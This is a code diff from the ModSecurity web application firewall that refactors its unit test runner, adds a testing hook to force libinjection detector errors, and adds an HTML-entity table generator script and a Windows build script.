http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -15,7 +15,9 @@ #include #include - +#include +#include +#include #include #include #include @@ -26,10 +28,13 @@ #include "src/actions/transformations/transformation.h" #include "modsecurity/transaction.h" #include "modsecurity/actions/action.h" +#include "src/actions/capture.h" +#include "src/operators/libinjection_adapter.h" #include "test/common/modsecurity_test.h" #include "test/common/modsecurity_test_results.h" +#include "test/common/modsecurity_test_context.h" #include "test/common/colors.h" #include "test/unit/unit_test.h" #include "src/utils/string.h" @@ -38,6 +43,7 @@ using modsecurity_test::UnitTest; +using modsecurity_test::UnitTestResult; using modsecurity_test::ModSecurityTest; using modsecurity_test::ModSecurityTestResults; using modsecurity::actions::transformations::Transformation; @@ -53,64 +59,221 @@ void print_help() { } -void perform_unit_test(ModSecurityTest *test, UnitTest *t, - ModSecurityTestResults* res) { - std::string error; +namespace { +injection_result_t sqli_force_error(const char *, size_t, char *) { + return LIBINJECTION_RESULT_ERROR; +} + +injection_result_t xss_force_error(const char *, size_t) { + return LIBINJECTION_RESULT_ERROR; +} + +void configure_libinjection_override(const UnitTest &t) { + modsecurity::operators::clearLibinjectionOverridesForTesting(); + + if (t.libinjection_override != "error") { + return; + } + + const std::string operator_name = modsecurity::utils::string::tolower(t.name); + + if (operator_name == "detectsqli") { + modsecurity::operators::setLibinjectionSQLiOverrideForTesting( + sqli_force_error); + } else if (operator_name == "detectxss") { + modsecurity::operators::setLibinjectionXSSOverrideForTesting( + xss_force_error); + } +} +} // namespace + +struct OperatorTest { + using ItemType = Operator; + + static ItemType* init(const UnitTest &t) { + auto op = Operator::instantiate(t.name, t.param); + assert(op != nullptr); + + std::string error; + op->init(t.filename, &error); + + return op; + } + + static UnitTestResult eval(ItemType &op, const UnitTest &t, modsecurity::Transaction &transaction) { + configure_libinjection_override(t); + + std::unique_ptr actions; + if (t.capture) { + actions = std::make_unique(); + actions->push_back(new modsecurity::actions::Capture("capture")); + } + + modsecurity::RuleWithActions rule{actions.release(), nullptr, "dummy.conf", -1}; + modsecurity::RuleMessage ruleMessage{rule, transaction}; + + const bool matched = op.evaluate(&transaction, &rule, t.input, ruleMessage); + + UnitTestResult result; + result.ret = matched; + if (t.capture) { + auto tx0 = transaction.m_collections.m_tx_collection->resolveFirst("0"); + if (tx0 != nullptr) { + result.output = *tx0; + } + } + + modsecurity::operators::clearLibinjectionOverridesForTesting(); + return result; + } + + static bool check(const UnitTestResult &result, const UnitTest &t) { + if (result.ret != t.ret) { + return true; + } + + if (t.capture || t.output.empty() == false) { + return result.output != t.output; + } + + return false; + } +}; + + +struct TransformationTest { + using ItemType = Transformation; + + static ItemType* init(const UnitTest &t) { + auto tfn = Transformation::instantiate("t:" + t.name); + assert(tfn != nullptr); + + return tfn; + } + + static UnitTestResult eval(const ItemType &tfn, const UnitTest &t, const modsecurity::Transaction &transaction) { + auto ret = t.input; + tfn.transform(ret, &transaction); + return {1, ret}; + } + + static bool check(const UnitTestResult &result, const UnitTest &t) { + return result.output != t.output; + } +}; + + +template +UnitTestResult perform_unit_test_once(const UnitTest &t, modsecurity::Transaction &transaction) { // cppcheck-suppress constParameterReference ; transaction can be const for transformations but not for operators + std::unique_ptr item(TestType::init(t)); + assert(item.get() != nullptr); + + return TestType::eval(*item.get(), t, transaction); +} + + +template +UnitTestResult perform_unit_test_multithreaded(const UnitTest &t, + modsecurity_test::ModSecurityTestContext &context) { + (void)context; + + constexpr auto NUM_THREADS = 50; + constexpr auto ITERATIONS = 5'000; + + std::array threads; + std::array results; + + std::unique_ptr item(TestType::init(t)); + assert(item.get() != nullptr); + + for (auto i = 0; i != threads.size(); ++i) + { + auto &result = results[i]; + threads[i] = std::thread( + [&item, &t, &result]() + { + modsecurity_test::ModSecurityTestContext thread_context( + "ModSecurity-unit mtstress-thread"); + auto transaction = thread_context.create_transaction(); + for (auto j = 0; j != ITERATIONS; ++j) + result = TestType::eval(*item.get(), t, transaction); + }); + } + + UnitTestResult ret; + + for (auto i = 0; i != threads.size(); ++i) + { + threads[i].join(); + if (TestType::check(results[i], t)) + ret = results[i]; // error value, keep iterating to join all threads + else if(i == 0) + ret = results[i]; // initial value + } + + return ret; // cppcheck-suppress uninitvar ; false positive, ret assigned at least once in previous loop +} + + +template +void perform_unit_test_helper(const ModSecurityTest &test, UnitTest &t, + ModSecurityTestResults &res, modsecurity::Transaction &transaction, + modsecurity_test::ModSecurityTestContext &context) { + + if (!test.m_test_multithreaded) + t.result = perform_unit_test_once(t, transaction); + else + t.result = perform_unit_test_multithreaded(t, context); + + if (TestType::check(t.result, t)) { + res.push_back(&t); + if (test.m_automake_output) { + std::cout << "FAIL "; + } + } else if (test.m_automake_output) { + std::cout << "PASS "; + } +} + + +void perform_unit_test(const ModSecurityTest &test, UnitTest &t, + ModSecurityTestResults &res) { bool found = true; - if (test->m_automake_output) { + modsecurity_test::ModSecurityTestContext context("ModSecurity-unit v0.0.1-alpha" + " (ModSecurity unit test utility)"); + + auto transaction = context.create_transaction(); + + if (test.m_automake_output) { std::cout << ":test-result: "; } - if (t->resource.empty() == false) { - found = (std::find(resources.begin(), resources.end(), t->resource) - != resources.end()); + if (t.resource.empty() == false) { + found = std::find(resources.begin(), resources.end(), t.resource) + != resources.end(); } if (!found) { - t->skipped = true; - res->push_back(t); - if (test->m_automake_output) { + t.skipped = true; + res.push_back(&t); + if (test.m_automake_output) { std::cout << "SKIP "; } } - if (t->type == "op") { - Operator *op = Operator::instantiate(t->name, t->param); - op->init(t->filename, &error); - int ret = op->evaluate(NULL, NULL, t->input, NULL); - t->obtained = ret; - if (ret != t->ret) { - res->push_back(t); - if (test->m_automake_output) { - std::cout << "FAIL "; - } - } else if (test->m_automake_output) { - std::cout << "PASS "; - } - delete op; - } else if (t->type == "tfn") { - Transformation *tfn = Transformation::instantiate("t:" + t->name); - std::string ret = tfn->evaluate(t->input, NULL); - t->obtained = 1; - t->obtainedOutput = ret; - if (ret != t->output) { - res->push_back(t); - if (test->m_automake_output) { - std::cout << "FAIL "; - } - } else if (test->m_automake_output) { - std::cout << "PASS "; - } - delete tfn; + if (t.type == "op") { + perform_unit_test_helper(test, t, res, transaction, context); + } else if (t.type == "tfn") { + perform_unit_test_helper(test, t, res, transaction, context); } else { - std::cerr << "Failed. Test type is unknown: << " << t->type; + std::cerr << "Failed. Test type is unknown: << " << t.type; std::cerr << std::endl; } - if (test->m_automake_output) { - std::cout << t->name << " " - << modsecurity::utils::string::toHexIfNeeded(t->input) + if (test.m_automake_output) { + std::cout << t.name << " " + << modsecurity::utils::string::toHexIfNeeded(t.input) << std::endl; } } @@ -151,24 +314,22 @@ int main(int argc, char **argv) { test.load_tests("test-cases/secrules-language-tests/transformations"); } - for (std::pair *> a : test) { - std::vector *tests = a.second; - - total += tests->size(); - for (UnitTest *t : *tests) { + for (auto& [filename, tests] : test) { + total += tests.size(); + for (auto &t : tests) { ModSecurityTestResults r; if (!test.m_automake_output) { - std::cout << " " << a.first << "...\t"; + std::cout << " " << filename << "...\t"; } - perform_unit_test(&test, t, &r); + perform_unit_test(test, *t, r); if (!test.m_automake_output) { int skp = 0; if (r.size() == 0) { std::cout << KGRN << "0 tests failed."; } else { - for (auto &i : r) { + for (const auto &i : r) { if (i->skipped == true) { skp++; } @@ -189,12 +350,16 @@ int main(int argc, char **argv) { if (!test.m_automake_output) { std::cout << "Total >> " << total << std::endl; - } - for (UnitTest *t : results) { - std::cout << t->print() << std::endl; + for (const auto t : results) { + std::cout << t->print() << std::endl; + } } + const int skp = std::count_if(results.cbegin(), results.cend(), [](const auto &i) + { return i->skipped; }); + const int failed = results.size() - skp; + if (!test.m_automake_output) { std::cout << std::endl; @@ -202,13 +367,7 @@ int main(int argc, char **argv) { if (results.size() == 0) { std::cout << KGRN << "All tests passed" << RESET << std::endl; } else { - int skp = 0; - for (auto &i : results) { - if (i->skipped == true) { - skp++; - } - } - std::cout << KRED << results.size()-skp << " failed."; + std::cout << KRED << failed << " failed."; std::cout << RESET << std::endl; if (skp > 0) { std::cout << " " << std::to_string(skp) << " "; @@ -217,13 +376,5 @@ int main(int argc, char **argv) { } } - for (std::pair *> a : test) { - std::vector *vec = a.second; - for (int i = 0; i < vec->size(); i++) { - delete vec->at(i); - } - delete vec; - } + return failed; } - - diff --git a/test/unit/unit_test.cc b/test/unit/unit_test.cc index d15533a3cc..36e1c5a3af 100644 --- a/test/unit/unit_test.cc +++ b/test/unit/unit_test.cc @@ -21,6 +21,7 @@ #include #include #include +#include #include "test/common/colors.h" #include "src/utils/regex.h" @@ -30,20 +31,6 @@ namespace modsecurity_test { -std::string string_to_hex(const std::string& input) { - static const char* const lut = "0123456789ABCDEF"; - size_t len = input.length(); - - std::string output; - output.reserve(2 * len); - for (size_t i = 0; i < len; ++i) { - const unsigned char c = input[i]; - output.push_back(lut[c >> 4]); - output.push_back(lut[c & 15]); - } - return output; -} - void replaceAll(std::string *s, const std::string &search, const char replace) { for (size_t pos = 0; ; pos += 0) { @@ -89,7 +76,7 @@ void json2bin(std::string *str) { } -std::string UnitTest::print() { +std::string UnitTest::print() const { std::stringstream i; i << KRED << "Test failed." << RESET; @@ -102,15 +89,15 @@ std::string UnitTest::print() { i << " \"param\": \"" << this->param << "\"" << std::endl; i << " \"output\": \"" << this->output << "\"" << std::endl; i << "}" << std::endl; - if (this->ret != this->obtained) { + if (this->ret != this->result.ret) { i << "Expecting: \"" << this->ret << "\" - returned: \""; - i << this->obtained << "\"" << std::endl; + i << this->result.ret << "\"" << std::endl; } - if (this->output != this->obtainedOutput) { + if (this->output != this->result.output) { i << "Expecting: \""; i << modsecurity::utils::string::toHexIfNeeded(this->output); i << "\" - returned: \""; - i << modsecurity::utils::string::toHexIfNeeded(this->obtainedOutput); + i << modsecurity::utils::string::toHexIfNeeded(this->result.output); i << "\""; i << std::endl; } @@ -119,15 +106,17 @@ std::string UnitTest::print() { } -UnitTest *UnitTest::from_yajl_node(const yajl_val &node) { +std::unique_ptr UnitTest::from_yajl_node(const yajl_val &node) { size_t num_tests = node->u.object.len; - UnitTest *u = new UnitTest(); + auto u = std::make_unique(); + + u->skipped = false; + u->capture = 0; for (int i = 0; i < num_tests; i++) { const char *key = node->u.object.keys[ i ]; yajl_val val = node->u.object.values[ i ]; - u->skipped = false; if (strcmp(key, "param") == 0) { u->param = YAJL_GET_STRING(val); } else if (strcmp(key, "input") == 0) { @@ -141,6 +130,10 @@ UnitTest *UnitTest::from_yajl_node(const yajl_val &node) { u->type = YAJL_GET_STRING(val); } else if (strcmp(key, "ret") == 0) { u->ret = YAJL_GET_INTEGER(val); + } else if (strcmp(key, "capture") == 0) { + u->capture = YAJL_GET_INTEGER(val); + } else if (strcmp(key, "libinjection_override") == 0) { + u->libinjection_override = YAJL_GET_STRING(val); } else if (strcmp(key, "output") == 0) { u->output = std::string(YAJL_GET_STRING(val)); json2bin(&u->output); diff --git a/test/unit/unit_test.h b/test/unit/unit_test.h index d200db5dbc..df8236ff06 100644 --- a/test/unit/unit_test.h +++ b/test/unit/unit_test.h @@ -16,20 +16,26 @@ #include #include -#include #include #include +#include #ifndef TEST_UNIT_UNIT_TEST_H_ #define TEST_UNIT_UNIT_TEST_H_ namespace modsecurity_test { +class UnitTestResult { + public: + int ret = 0; + std::string output; +}; + class UnitTest { public: - static UnitTest *from_yajl_node(const yajl_val &); + static std::unique_ptr from_yajl_node(const yajl_val &node); - std::string print(); + std::string print() const; std::string param; std::string input; @@ -38,10 +44,11 @@ class UnitTest { std::string type; std::string filename; std::string output; - int ret; - int obtained; - int skipped; - std::string obtainedOutput; + std::string libinjection_override; + int ret = 0; + int capture = 0; + int skipped = 0; + UnitTestResult result; }; } // namespace modsecurity_test diff --git a/tools/gen-html-entities.py b/tools/gen-html-entities.py new file mode 100755 index 0000000000..0904f83e78 --- /dev/null +++ b/tools/gen-html-entities.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python3 +"""Generate the named-entity table used by t:htmlEntityDecode. + +Source of truth is the WHATWG named character reference list: + + https://html.spec.whatwg.org/entities.json + +Selection rule: every entity whose expansion is a single code point that a +rule could plausibly need to see as an ASCII byte -- U+0000..U+007F, plus +U+00A0 (NBSP, which the decoder has always emitted) and U+00AD (SOFT HYPHEN, +which browsers strip from URLs). Entities expanding to more than one code +point, or to anything outside that set, are deliberately excluded: the +decoder emits one byte per entity. + +Matching in the decoder is case-insensitive, which the spec is not. Where +two spec entities differ only by case and disagree on the code point (e.g. +: = U+003A but ∷ = U+2237), the ASCII one wins and the collision +is listed in the generated header comment. + +Usage: + curl -sSO https://html.spec.whatwg.org/entities.json + python3 tools/gen-html-entities.py entities.json +""" +import json +import sys +from collections import defaultdict + +WANTED = lambda cp: cp < 0x80 or cp in (0xA0, 0xAD) +NAMES = {0xA0: "NBSP", 0xAD: "0xAD"} +ESCAPES = {0x09: r"'\t'", 0x0A: r"'\n'", 0x0D: r"'\r'", 0x22: r"'\"'", + 0x27: r"'\''", 0x5C: r"'\\'", 0x00: r"'\0'"} + + +def literal(cp): + if cp in NAMES: + return NAMES[cp] + if cp in ESCAPES: + return ESCAPES[cp] + if 0x20 < cp < 0x7F: + return "'%s'" % chr(cp) + return "0x%02x" % cp + + +def main(path): + entities = json.load(open(path)) + by_lower = defaultdict(dict) + for name, spec in entities.items(): + if not name.endswith(";"): + continue # legacy semicolon-less forms + points = spec["codepoints"] + if len(points) != 1: + continue + by_lower[name.strip("&;").lower()][name.strip("&;")] = points[0] + + table, collisions = {}, [] + for lower, variants in by_lower.items(): + wanted = {n: cp for n, cp in variants.items() if WANTED(cp)} + if not wanted: + continue + chosen = sorted(set(wanted.values()))[0] + if len(set(variants.values())) > 1: + other = sorted(f"&{n}; = U+{cp:04X}" for n, cp in variants.items() + if cp != chosen) + collisions.append("&%s; = U+%04X wins over %s" % + (sorted(wanted)[0], chosen, ", ".join(other))) + table[lower] = chosen + + width = max(len(n) for n in table) + 3 + print("/* Generated by tools/gen-html-entities.py from") + print(" * https://html.spec.whatwg.org/entities.json -- do not edit by hand.") + print(" *") + print(" * Every entity expanding to a single code point in U+0000..U+007F,") + print(" * plus NBSP (U+00A0) and SOFT HYPHEN (U+00AD). %d entries." % len(table)) + if collisions: + print(" *") + print(" * Case-insensitive matching collapses these spec distinctions:") + for c in sorted(collisions): + print(" * %s" % c) + print(" */") + for name in sorted(table): + print(' NAMED_ENTITY("%s",%s%s),' % + (name, " " * (width - len(name) - 2), literal(table[name]))) + + +if __name__ == "__main__": + main(sys.argv[1] if len(sys.argv) > 1 else "entities.json") diff --git a/tools/rules-check/Makefile.am b/tools/rules-check/Makefile.am index 615d9598ed..8080411716 100644 --- a/tools/rules-check/Makefile.am +++ b/tools/rules-check/Makefile.am @@ -15,6 +15,7 @@ modsec_rules_check_LDADD = \ $(LMDB_LDADD) \ $(LUA_LDADD) \ $(PCRE_LDADD) \ + $(PCRE2_LDADD) \ $(SSDEEP_LDADD) \ $(YAJL_LDADD) @@ -25,13 +26,14 @@ modsec_rules_check_LDFLAGS = \ $(LMDB_LDFLAGS) \ $(LUA_LDFLAGS) \ $(SSDEEP_LDFLAGS) \ - $(YAJL_LDFLAGS) + $(YAJL_LDFLAGS) \ + $(LIBXML2_LDFLAGS) modsec_rules_check_CPPFLAGS = \ - -std=c++11 \ -I$(top_builddir)/headers \ $(GLOBAL_CPPFLAGS) \ $(PCRE_CFLAGS) \ + $(PCRE2_CFLAGS) \ $(LMDB_CFLAGS) \ $(MAXMIND_CFLAGS) \ $(LIBXML2_CFLAGS) diff --git a/tools/rules-check/rules-check.cc b/tools/rules-check/rules-check.cc index f59439ee9f..f63d7aa1e9 100644 --- a/tools/rules-check/rules-check.cc +++ b/tools/rules-check/rules-check.cc @@ -15,7 +15,11 @@ #include #include +#ifndef WIN32 #include +#else +#include +#endif #include #include @@ -32,9 +36,8 @@ void print_help(const char *name) { int main(int argc, char **argv) { - modsecurity::RulesSet *rules; + auto rules = std::make_unique(); char **args = argv; - rules = new modsecurity::RulesSet(); int ret = 0; args++; @@ -46,41 +49,26 @@ int main(int argc, char **argv) { while (*args != NULL) { struct stat buffer; - std::string argFull(""); - const char *arg = *args; + std::string arg = *args; std::string err; int r; - if (argFull.empty() == false) { - if (arg[strlen(arg)-1] == '\"') { - argFull.append(arg, strlen(arg)-1); - goto next; - } else { - argFull.append(arg); - goto next; - } - } - - if (arg[0] == '\"' && argFull.empty() == true) { - if (arg[strlen(arg)-1] == '\"') { - argFull.append(arg+1, strlen(arg) - 2); - } else { - argFull.append(arg+1); - goto next; - } - } + // strip arg from leading and trailing '"' chars + arg.erase(arg.find_last_not_of('\"')+1); + arg.erase(0, arg.find_first_not_of('\"')); - if (argFull.empty() == false) { - arg = strdup(argFull.c_str()); - argFull.clear(); + if (arg.empty() == true) { + args++; + continue; } std::cout << " : " << arg << " -- "; - if (stat(arg, &buffer) == 0) { - r = rules->loadFromUri(arg); + if (stat(arg.c_str(), &buffer) == 0) { + r = rules->loadFromUri(arg.c_str()); } else { - r = rules->load(arg); + r = rules->load(arg.c_str()); } + if (r < 0) { err.assign(rules->m_parserError.str()); rules->m_parserError.str(""); @@ -91,12 +79,10 @@ int main(int argc, char **argv) { if (err.empty() == false) { std::cerr << " " << err << std::endl; } -next: + args++; } - delete rules; - if (ret < 0) { std::cout << "Test failed." << std::endl; } else { diff --git a/vcbuild.bat b/vcbuild.bat new file mode 100644 index 0000000000..b24572abae --- /dev/null +++ b/vcbuild.bat @@ -0,0 +1,28 @@ +@rem For Windows build information, see build\win32\README.md + +@echo off +pushd %CD% + +if not "%1"=="" (set build_type=%1) else (set build_type=Release) +echo Build type: %build_type% + +if not "%2"=="" (set arch=%2) else (set arch=x86_64) +echo Arch: %arch% + +if "%3"=="USE_ASAN" ( + echo Address Sanitizer: Enabled + set CI_ASAN=-c tools.build:cxxflags="[""/fsanitize=address""]" + set ASAN_FLAG=ON +) else ( + echo Address Sanitizer: Disabled + set CI_ASAN= + set ASAN_FLAG=OFF +) + +cd build\win32 +conan install . -s compiler.cppstd=17 %CI_ASAN% --output-folder=build --build=missing --settings=build_type=%build_type% --settings=arch=%arch% +cd build +cmake --fresh .. -G "Visual Studio 17 2022" -DCMAKE_TOOLCHAIN_FILE=conan_toolchain.cmake -DUSE_ASAN=%ASAN_FLAG% %4 %5 %6 %7 %8 %9 +cmake --build . --config %build_type% + +popd